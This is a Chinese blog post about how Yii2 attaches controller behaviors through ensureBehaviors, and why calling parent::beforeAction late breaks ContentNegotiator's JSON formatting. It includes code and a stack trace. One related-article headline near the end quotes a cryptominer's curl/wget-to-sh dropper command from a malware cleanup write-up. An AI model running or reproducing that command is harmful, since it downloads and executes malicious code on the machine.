YII2中controller中的behaviors中的behavior内部是如何被使用的?
1. behaviors方法的调用:
在祖先对象components中有一个ensureBehaviors方法,代码如下:
/**
* Makes sure that the behaviors declared in [[behaviors()]] are attached to this component.
*/
public function ensureBehaviors()
{
if ($this->_behaviors === null) {
$this->_behaviors = [];
foreach ($this->behaviors() as $name => $behavior) {
$this->attachBehaviorInternal($name, $behavior);
}
}
}
主要工作是对所有配置的behavior,通过attachBehaviorInternal方法生成对象,并且将当前宿主对象附加到每个behavior实例上,在behavior实例上以$owner变量存储,并且呢将每个behavior上配置的事件进行绑定,合适的时候好触发;
也就是三件事:1. 实例化behavior;2.将behavior实例与宿主关联;3.绑定behavior上配置的事件;而behavior对宿主产生作用,最核心的也是通过绑定的事件来产生。
粗粗看了下,这里绑定的事件都来源于宿主,比如:
[Controller::EVENT_BEFORE_ACTION => 'beforeAction']
[Response::EVENT_BEFORE_SEND => 'beforeSend',] [
ActiveRecord::EVENT_BEFORE_UPDATE => 'evaluateAttributes',
ActiveRecord::EVENT_BEFORE_INSERT => 'evaluateAttributes'
]
等等。系统中不少地方用到。采用事件的方式达到延迟触发的效果。并且以钩子的形式将插入正常的执行流程。 ensureBehavior方法在components类中__get,__set,__isset,__unset,__call,canSetProperty,canGetProperty,hasMethod,hasEventHandlers,on,off,trigger,
getBehavior,attachBehavior,attachBehaviors,detachBehavior,detachBehaviors都有调用。也就是说在这些方法或者组件及后代组件的动作中将行为注入,绑定。 这样就清楚了,在宿主上以上方法中behavior被实例化,绑定到宿主对象,并且对宿主上的一些事件在behavior内部进行监听,绑定相应的处理handler,方便宿主上事件发生时,被触发和执行。
2. 我在工作中遇到的问题是:
public function beforeAction($action)
{
$response = Yii::$app->response; if (Yii::$app->request->isPost) {
$data = Yii::$app->request->post();
} else {
$data = Yii::$app->request->get();
} if (isset($data['UserId']) && isset($data['TokenId'])) {
if (!($user = User::findOne(['id' => $data['UserId'], 'ws_api_token' => $data['TokenId']]))) {
$response->statusCode = 401;
$response->statusText = "用户未找到或未授权";
return false;
} else {
Yii::$app->user->setIdentity($user);
}
} else {
$response->statusCode = 401;
$response->statusText = "缺少必要参数UserId,TokenId";
return false;
} if (!parent::beforeAction($action)) return false;
}
将父级beforeaction放在后面执行了,而在controller中父级中trigger了EVENT_BEFORE_ACTION事件,而该事件触发了在contentNegotiator中定义的方法beforeFilter。出现的结果如下:
An Error occurred while handling another error:
yii\base\InvalidArgumentException: Response content must not be an array. in /home/nginx/tianjian_vue/pro-api/vendor/yiisoft/yii2/web/Response.php:1063
Stack trace:
#0 /home/nginx/tianjian_vue/pro-api/vendor/yiisoft/yii2/web/Response.php(337): yii\web\Response->prepare()
#1 /home/nginx/tianjian_vue/pro-api/vendor/yiisoft/yii2/web/ErrorHandler.php(135): yii\web\Response->send()
#2 /home/nginx/tianjian_vue/pro-api/vendor/yiisoft/yii2/base/ErrorHandler.php(111): yii\web\ErrorHandler->renderException(Object(yii\base\InvalidArgumentException))
#3 [internal function]: yii\base\ErrorHandler->handleException(Object(yii\base\InvalidArgumentException))
#4 {main}
Previous exception:
yii\base\InvalidArgumentException: Response content must not be an array. in /home/nginx/tianjian_vue/pro-api/vendor/yiisoft/yii2/web/Response.php:1063
Stack trace:
#0 /home/nginx/tianjian_vue/pro-api/vendor/yiisoft/yii2/web/Response.php(337): yii\web\Response->prepare()
#1 /home/nginx/tianjian_vue/pro-api/vendor/yiisoft/yii2/base/Application.php(392): yii\web\Response->send()
#2 /home/nginx/tianjian_vue/pro-api/web/index.php(13): yii\base\Application->run()
#3 {main}
错误是返回内容未格式化。也就是说:
'contentNegotiator' => [
'class' => ContentNegotiator::className(),
'formats' => [
'application/json' => Response::FORMAT_JSON
]
]
behavior里对response里设置的数据返回格式没起作用。原因是啥呢?
原因是response的格式化是在behavior-contentNegotiator中方法negotiateContentType中完成的。如下:
foreach ($this->formats as $type => $format) {
$response->format = $format;
$response->acceptMimeType = $type;
$response->acceptParams = [];
break;
}
所以呢,把父级的beforeaction放到后面执行的化,就没有先触发事件,也就是没有给response对象设置为返回值为json,返回的格式才是json格式,而默认是html格式的。 再梳理一遍:
在controller中配置了behavior-contentNegotiator,在controller的父级ensureBehaviors调用中,将behavior实例化,绑定到controller宿主对象,并且设置事件监听,在controller中主要监听了
beforeaction事件。而ensureBehaviors在多种场合会发生自动调用,以上已列举,此处不赘述;尤其是在魔术方法__call的调用中,因为在controller运行中会若干次调用方法。所以behaviors被运行后绑定是毫无问题的。
behavior被确认绑定后,后面在controller及action运行的时候,运行了beforeaction,但是调用父级的beforeaction放后面了,就会导致这之前如果运行结果为false,直接返回,此时response的格式化就是默认的html格式,
所以就会出现上面那样的返回结果了。所以系统的方法放后面执行,则前面必须手动指定format了,或者手动触发一次事件EVENT_BEFORE_ACTION。
YII2中controller中的behaviors中的behavior内部是如何被使用的?的更多相关文章
- AngularJS之指令中controller与link(十二)
前言 在指令中存在controller和link属性,对这二者心生有点疑问,于是找了资料学习下. 话题 首先我们来看看代码再来分析分析. 第一次尝试 页面: <custom-directive& ...
- ASP.NET MVC搭建项目后台UI框架—8、将View中选择的数据行中的部分数据传入到Controller中
目录 ASP.NET MVC搭建项目后台UI框架—1.后台主框架 ASP.NET MVC搭建项目后台UI框架—2.菜单特效 ASP.NET MVC搭建项目后台UI框架—3.面板折叠和展开 ASP.NE ...
- springmvc 中controller与jsp传值
参考:springmvc 中controller与jsp传值 springMVC:将controller中数据传递到jsp页面 jsp中,死活拿不到controller中的变量. 花了半天,网上列出各 ...
- 详解SpringMVC中Controller的方法中参数的工作原理[附带源码分析]
目录 前言 现象 源码分析 HandlerMethodArgumentResolver与HandlerMethodReturnValueHandler接口介绍 HandlerMethodArgumen ...
- Asp.net MVC 中Controller返回值类型ActionResult
[Asp.net MVC中Controller返回值类型] 在mvc中所有的controller类都必须使用"Controller"后缀来命名并且对Action也有一定的要求: 必 ...
- 指令中 controller && controllerAs
1, controller 他会暴露一个API,利用这个API可以在多个指令之间通过依赖注入进行通信. controller($scope, $element, $attrs, $tranclude) ...
- View中选择的数据行中的部分数据传入到Controller中
将View中选择的数据行中的部分数据传入到Controller中 ASP.NET MVC搭建项目后台UI框架—1.后台主框架 ASP.NET MVC搭建项目后台UI框架—2.菜单特效 ASP.NE ...
- SpringMVC中Controller
详解SpringMVC中Controller的方法中参数的工作原理[附带源码分析] 目录 前言 现象 源码分析 HandlerMethodArgumentResolver与HandlerMethodR ...
- SpringMVC中@Controller和@RequestMapping用法和其他常用注解
一.简介 在SpringMVC 中,控制器Controller 负责处理由DispatcherServlet 分发的请求,它把用户请求的数据经过业务处理层处理之后封装成一个Model ,然后再把该Mo ...
随机推荐
- ExcelUtility 对excel的序列化与反序列化,支持当单元格中数据为空时将属性赋值为指定类型的默认值
源码https://github.com/leoparddne/EPPlusHelper 安装: Install-Package ExcelUtility -Version 1.1.4 需要为对象添加 ...
- Git 解决冲突(3步)
今天新人从master分支合并到自己开发分支时有冲突了,不知道怎么解决,给他解决后,顺便简单记下,免得其他人问时还要再讲一遍 1.先切到自己的分支,拉下代码 git pull 2.向某个分支发起合并 ...
- selenium 常见操作事件2
1.不打开浏览器驱动(加速) 注意:不启动浏览器器时,需要把浏览器驱动放置以下位置:①.python安装的根目录②.google的安装目录() from selenium import webdriv ...
- 实时更新Excel文档外部数据源的数据
实时更新Excel文档外部数据源的数据 单元格区域.Excel 表.数据透视表或数据透视图均可以连接到外部数据源(数据源:用于连接数据库的一组存储的"源"信息.数据源包含数据库服务 ...
- java和delphi共用的des加密解密
java: import antlr.StringUtils;import org.jeecgframework.core.util.StringUtil; import java.security. ...
- redis开启持久化、redis 数据备份与恢复
redis持久化介绍 https://segmentfault.com/a/1190000015897415 1. 开启aof持久化.以守护进程启动.远程访问先把配置文件拷贝一份到/etc/redi ...
- socket --自己简单的理解
一,网络编程中两个主要的问题 一个是如何准确的定位网络上一台或多台主机,另一个就是找到主机后如何可靠高效的进行数据传输. 在TCP/IP协议中IP层主要负责网络主机的定位,数据传输的路由,由IP地址可 ...
- 【Flink】flink执行jar报错:java.io.IOException: Error opening the Input Split file 或者 java.io.FileNotFoundException
报错内容 flink执行jar时,报如下错误: org.apache.flink.client.program.ProgramInvocationException: Job failed. (Job ...
- vue弹窗后如何禁止滚动条滚动?
原文地址 常见场景 在许多填写表单的页面中,都会弹出一个选择器,让你在弹窗中选择项目.有时,弹窗本身容纳不下内容,需要让它不断滚动来展示,但因为事件是冒泡的,有时就会造成底部(body 的Z-inde ...
- Linux服务器感染kerberods病毒 | 挖矿病毒查杀及分析 | (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh)
概要: 一.症状及表现 二.查杀方法 三.病毒分析 四.安全防护 五.参考文章 一.症状及表现 1.CPU使用率异常,top命令显示CPU统计数数据均为0,利用busybox 查看CPU占用率之后,发 ...